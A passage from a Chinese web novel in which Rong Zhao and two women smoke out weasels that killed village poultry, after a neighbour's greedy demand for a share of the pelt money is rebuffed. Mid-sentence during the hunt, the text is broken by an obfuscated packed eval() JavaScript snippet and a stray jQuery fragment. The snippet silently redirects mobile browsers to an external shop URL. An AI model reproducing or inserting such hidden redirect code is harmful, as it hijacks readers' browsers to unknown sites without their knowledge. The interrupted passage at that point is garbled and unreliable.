黄鼠狼善爬树钻洞,更善贴地疾行,真让它们认为此处是福乐窝,将来方圆十里的村落就成了掠食地。
永宁村,静安村,李家村,皆在十里范围内,若无人力干涉,黄鼠狼迟早泛滥成灾。
“黄鼠狼一日不除,村中家禽永无宁日。”荣昭移开视线,淡淡扫过几个被罗音煽动的人,“按因果循环来说,今日此举是积德行善。”
等入冬之后偷遍村中家禽,那才叫报应。
“这、这、这不管怎么说,黄大仙是个生命,你怎能如此狠心猎杀?”罗音捂着胸口,仿佛荣昭是在做什么十恶不赦的事。
“那我抓了你带回去养?应该吃得不多,一天一只鸡,初步估算还有三四只,你多做些功德。”
与她争论的片刻,荣昭手中的篮子发沉,顺手放到地上,双手抱胸地等罗音回答,不就是说些冠冕堂皇的话么?
跟谁不会似的。
“想来罗娘子心善,定能将黄大仙养得白白胖胖,兴许明日从别处叼回一只鸡来给你,这样也算好心有好报了。”
一天一只鸡,四只一天就要四只,一月便是一百二十只,虽说黄皮子能卖钱,一只完整剥皮下来少说也能卖上一两银子。
但……一只小鸡仔六十文,要养半年,这笔买卖不合算。算清楚账后,罗音面色红一阵白一阵,支支吾吾说不出话来。
旁人有人推搡一把,心神未定的罗音不由得往荣昭的方向走了一步。
待她回过神来,慌忙拉开二人距离:“我哪里有你这样的好本事,黄大仙是神物,怎么能圈养?”
“不能你就闭嘴。”台阶上的人面上还是一副随和的模样,语气却冷下来,荣昭有耐心,可面对讨厌的人,着实不多。
罗音向来无利不起早,她目的绝不是不让她们抓黄鼠狼这么简单,荣昭想尽快结束这场闹剧,“到底想干什么你直说,是担心我卖了皮子独吞这些钱?”
众人心思被点破,躁动的人群很快安静下来,罗音索性同她表明:“没错!三四只黄鼠狼至少能卖四两银子!你当分给村中的人。”
方芸枝用手肘轻戳谭静阳,低声问道:“她一向这么不要脸吗?”
“一向。”
对于罗音的无耻,谭静阳持肯定意见,她当属永宁村第一无耻。
“分给谁都不会分给你!”一道中气十足的声音传入众人耳中,吴大娘领着里正来了。
里正一瞧又是自家外甥女在闹腾,顿时一个头两个大,朝荣昭投以致歉的眼神,上去扯了罗音一把。
“就算分钱,也是分给村中丢了家禽的苦主,与你们有何关系?”
“四两银子分几十户人家,竟是这二三十文都想占吗?眼皮子浅的东西!荣娘子是为村中农户考虑,你倒好,打定主意人家抹不开面,一分力不出想着强占吗?”
看似里正是对着罗音劈头盖脸一顿骂,实则是点在场的所有人。
众人的小心思曝于人前,几个面皮薄的羞愧不已,趁人多悄悄走了。
其他人见里正来了,也不欲多留,未等里正再开口,也悄然回到家中,一来二去,荣家门前就剩下她们几人。
“还站在这里干什么?不用回家吃饭?”里正睨罗音一眼,其中警告意味十足。
罗音抿了抿嘴,似心有不甘,还想争取几句:“但不管怎么说……”
“不管怎么说?何时轮到你管村中事了?我还没死呢!”里正气急,拽住罗音手臂,一路拖着走了。
吴大娘朝二人渐远的背影啐了一口,一天到晚就惦记着别人家的三瓜两枣,迟早有一天会被人收拾得服服帖帖。
一回头门口三人还在,她心里总是惴惴不安:“荣娘子,你们追查得如何了,眼瞧要晌午了,我担心它们夜里还来。”
“吴大娘,已经有了眉目,吃过饭就动手。”荣昭提起地上的竹篮,“您先回吧。”
“哎!”吴大娘转身走了几步,像是想起什么又叫住她们,“去我家吃饭吧?都做好了,拿起筷子就吃,权当感谢你们帮忙。”
“不了吴大娘,我们……哎哎哎,吴大娘别拽。”
荣昭拒绝的话还未说完,便被吴大娘拉得踉跄,吴大娘一边拽着荣昭,一边拉住另外二人,头也不回地往家中走。
别说,吴大娘手劲儿还挺大的,着实盛情难却。
“您放开我,我去我去还不成吗?”荣昭想抽回手,吴大娘攥得更紧了。
几人来到吴大娘家中,桌上摆着三菜一汤和四副碗筷,事发突然再加上方才这么一出,吴大娘来不及准备好酒菜。
一碗炒鸡蛋,一盘青菜,一碟子腊肠,一盆蛋花汤就是全部。
“有些简陋,你们将就吃,等晚上我再给你们杀只鸡!”
吴大娘热情招呼她们吃饭,三人都有些拘谨,面前的菜色虽不是什么硬菜,但分量很足。
不难看出吴大娘是诚心邀请她们吃午饭,炒鸡蛋的香气勾得荣昭食欲大动,心里那点别扭被香气驱散,端碗吃起饭来。
方芸枝和谭静阳也跟着吃饭,吴大娘时不时给她们夹菜,让几人不要客气,饭菜管够。
吃过饭,三人帮着收了碗筷,回到荣家探讨各自的发现,商量下午的围捕计划。
“窝在后山靠近崖面处,我找到了。”荣昭给她们两个倒了杯茶水,“我打算下午用烟熏出来。”
她一路追到几个新鲜的土洞前,其中一个洞的土面潮湿,表层有细碎抓痕,爪尖朝内,它们是清晨回窝的。
几粒轻飘飘的鸭绒子挂在洞口枯叶上,有人经过便跟着晃动,像随风而动的蒲公英。
荣昭撩开盖住竹篮的粗布,里面躺着几个干透的马蜂窝。
“还得是你准备得齐全。”谭静阳竖起大拇指,皱着眉道,“我沿溪水走到底,都到了李家村的地界了,洞已经荒废了,都长满草了,应当是在那边安家的,流窜过来永宁。”
李家村那边没猎户,大多人户比较拮据,养鸡鸭的不多,反而是养蚕织布的多些。
“根据竹林的脚印来看,昨夜当是全窝出动了,数量不低于四只。”方芸枝有些犹豫,“母的教幼崽捕食,大约是为了冬季的分窝做准备。”
有孩子之后,方芸枝越来越觉得自己不是个合格的猎户,遇到一窝一窝的动物总是会联想到方徐安与自己,因此她打猎尽着成年野物追。
前几月她还遇到过一回獐子,才几个月大,帮它割了点草就转身走了。
“不打紧,这下知道窝子可以一锅端了。”荣昭饮下茶水,“休息片刻就去。”
“我去弄几个竹篓去,让它们逃无可逃。”
黄鼠狼这东西爱打洞,她家中两个怕是远远不够,还得再去其他人户借几个,谭静阳放下杯子起身对二人道,“马上就来。”
待人走远,荣昭准备去找些易燃的柴火,方芸枝叫住她:“荣娘子,你……会把它们剥皮么?”
“不会。”荣昭给她吃下一颗定心丸,又道,“咬死阿灼的那只必须死。”
方芸枝愣住,不曾听过她家中还有旁人:“阿灼是谁?”
“我家的鸡。”
说罢,荣昭去厨房找来几捆用于引火的干燥芒萁,方芸枝二话不说接过东西,跟着她出门,走到山脚下与谭静阳汇合,三个人直奔黄鼠狼巢穴。
晌午毒辣的日光穿透林中树叶投下细碎的光影,疾行之下几人鬓边挂着汗珠。
荣昭停下脚步微微喘息,对身后的人叮嘱道:“就在这附近了,我们慢些,别惊了它们。”
她们沿右前方的杂草缓步而行,入目是一个个小土丘,背阴面有个不起眼的洞口,借旁边垂下来的草叶盖住,不仔细看很难看出来。
无人说话,荣昭对二人比划一通然后摆摆手,谭静阳便转身踮起脚尖寻找其它洞口,经过她仔细查找,果不其然在距离洞口背后几丈远的地方找到几个方向不同的新入口,其中一个是新泥,显然是今日才打的。
方芸枝将芒萁分成拳头大的一捆,塞进草边洞口,荣昭找来的马蜂窝太大,只得掰成小块分批塞进去。
荣昭吭哧吭哧搬来几块木盆大的石头,腰间还别着一片芭蕉叶,谭静阳把洞口旁的土块挖松了些,竹篓的口正好能卡住,再用巨石顶住竹篓底端,其它几个洞口也一样的套篓子。
待她们弄好之后,方芸枝吹起火折子,往主洞口这么轻轻一燎,芒萁迅速舔舐那点火星子。
须臾,主洞口燃气滚滚浓烟,她又加了几把芒萁助燃,再用芭蕉叶堵上口子,隔一会儿丢一块马蜂窝或者芒萁进去。
马蜂窝烧起来有股焦苦味儿,黄鼠狼最怕这般气味,洞里似乎有身体摩擦泥土的窸窣声响起,从睡梦中猛然惊醒的黄鼠狼慌了神,四散逃开。
荣昭与谭静阳各自守着竹篓等它们慌不择路一头栽进来,脚边的竹篓被重重的撞了一下。
里面的东西拼命挣扎,奈何竹篓的空间太小,前面浓烟催泪,后面无路可退,一时间急得团团转,尖锐的爪子刮过竹篓,发出刺耳的摩擦声。
“再烧大一些!”荣昭朝方芸枝的方向喊,“还有大的没出来!”
“哎!”方芸枝一股脑把剩下的芒萁混上马蜂窝碎块塞进主洞口,怕里头燃不起来还鼓起腮帮子吹气,浓烟熏得她眼泪直流,只好闭着眼睛吹气。
约莫两息间,荣昭脚下的竹篓传来两声动静,不知为何,竹篓开始剧烈晃动,她下意识用脚顶住,大约是竹篓里面空间太小,让黄鼠狼寻到了空隙,它扒拉几下竹篓口子顶部的泥土,竟给它挖出一个小洞。
等荣昭看清去堵已经晚了,一只成年黄鼠狼迅速钻出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711359|204133||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
往茂密草丛的方向逃,短短一息时间窜出去三丈远,跑动时它大腿的伤口还往下滴血。
“咻——”
一支利箭刺破闷热的午后,直直射入草丛前的那道身影。
箭矢穿破它的喉咙,鲜红的液体顺着箭头落向地面,滴滴答答淌出一大块水渍,荣昭收回眼,蹲下封好装了两只幼崽的竹篓,交给谭静阳后才去拾箭。
她捏住箭身,微微用力,箭头穿过的身体跟着腾空,它失了生气,四肢绵软无力地垂着,一如今晨的阿灼那样。
“跑了!”
不远处方芸枝惊呼出声,“跑了一只成年的!”
荣昭闻声回头,一只比她手上这只还大的黄鼠狼从方芸枝面前的洞口蹿出,贴地穿行数尺,纵身飞跃隐入林间,草叶微微晃动,林中归于平静。
“带来的马蜂窝烧完了,没想到还有一只猫着,眨眼的功夫就撞破芭蕉叶出来了。”方芸枝略有歉意地解释,几处竹篓都有动静,她以为洞穴里再没有了。
“无碍。”荣昭翻出布袋装好黄鼠狼,寻摸竹篮一番,掏出两个鸡蛋来。
谭静阳拎起竹篓凑过来:“你这是要做什么?”
“它还会再回来的,给它留点诱饵。”荣昭用匕首扎破鸡蛋,往几处洞口洒下蛋清,“今夜它定然会去村中找食物或者幼崽。”
“把它引到我家里去。”
“好,我夜里也来帮忙。”方芸枝忙不迭说道,又提起方才让它逃脱的事,像是闯下了滔天大祸一般,不敢直视荣昭双眼。
“任谁也没想道它这么能憋,方娘子莫要往心里去,这不能怪你。”荣昭低头思索着,没注意到她心虚的神情。
这只黄鼠狼明显比其它几只精明,它跑得太快,甚至看不清模样,只看到模糊的身影。
夜里视物不明,用食物或幼崽诱捕,都需要好好准备,责怪方芸枝没有任何意义。
三个人回到荣家,荣昭让方芸枝辨认五只幼崽里面哪只比较像逃走的那只,她琢磨半天,选了一只浅黄皮毛的。
荣昭找来一只大笼子,欲伸手将剩下的幼崽抓出来,方芸枝赶忙拦住她:“别抓,会咬人。”
方芸枝直接打开竹篓的盖子,把它们倒进去,再次见到光明的黄鼠狼很不安,翕动嘴唇吱哇乱叫,直到她用黑布厚厚罩上几层,里面的幼崽渐渐安静下来。
“鸡蛋都弄好了。”谭静阳一路倒鸡蛋,觉得不放心,顺便把昨天夜里它们的来时路洒上鸡蛋,蛋壳丢到荣家墙根底下。
“有劳。”
“咱两还要这般客气?”
夜幕降临,荣昭顺势留下她们吃饭,扶念安回来和饭团玩了会儿,看到廊下笼子里的黄鼠狼,垂眸想了许久,转身进了东屋不再出来。
家中有客人,又无旁的男子在,扶颂索性端了饭菜去他屋里吃。
“要不要先和沈三娘说一下,免得夜里折腾起来吓到她。”谭静阳夹起一块薄薄的腊肉放进嘴里,一天下来精疲力尽,能吃上这么有油水的东西多亏了荣昭。
碗中的青瓜汤烫嘴,荣昭吃下一筷子青菜:“她去杭府进茶叶了,得十天半个月才回。”
“我说,你家怎么会用青瓜加了紫苏叶?”嘴里咀嚼的黄瓜片爽脆,蒜香混着紫苏独特的味道,谭静阳是头一回吃。
“我家颂颂做的菜好吃吧?”荣昭得意道,这菜她是头一回吃,没想到是这等奇妙的感觉。
扶颂的厨艺相较于她毫不逊色,常常能做出一些意想不到的菜,近些日子荣昭很少做饭,大多是他散学回来做。
“再尝尝原良地道的泡菜,方娘子多吃些,也不是第一回来了,不要客气。”
“嗯嗯嗯。”谭静阳连连点头,埋头大吃起来,她明日就和陈遇提向扶颂学两招厨艺的事儿。
比起谭静阳,方芸枝就显得拘谨许多,夹菜只夹自己面前的青菜,荣昭用一旁未用过的筷子夹起几片腊肉放到她碗里。
“好,多谢。”
方芸枝低声道谢,心里头的不自在终于散去许多,今日这么一遭,她与荣昭的关系又近了一些,远亲不如近邻,多几个靠得住的朋友总是好的。
吃完饭,扶颂收了碗筷去洗,三个人移到后院忙活。
打墙根底下每隔几步展开一只捕兽夹,间隔的地方也放了活扣绳索,人守在麻绳的另一端,静待它跳下墙头时便一举捕获。
幼崽被荣昭关进小笼子,再用鸡蛋液抹上一圈,荣昭奋力一拉笼子顶部的绳索,幼崽重心陡然偏移,惊得它放了个屁。
笼子升到屋檐下,小黄鼠狼前后看过一圈,确认没有危险,趴着静静舔舐鸡蛋液,笼子小幅度地晃起来,空气里满是腥气与臭味残留。
谭静阳捂住鼻子摇头晃脑抱怨:“这玩意儿真臭,若是成年的放屁得把人熏晕了吧?”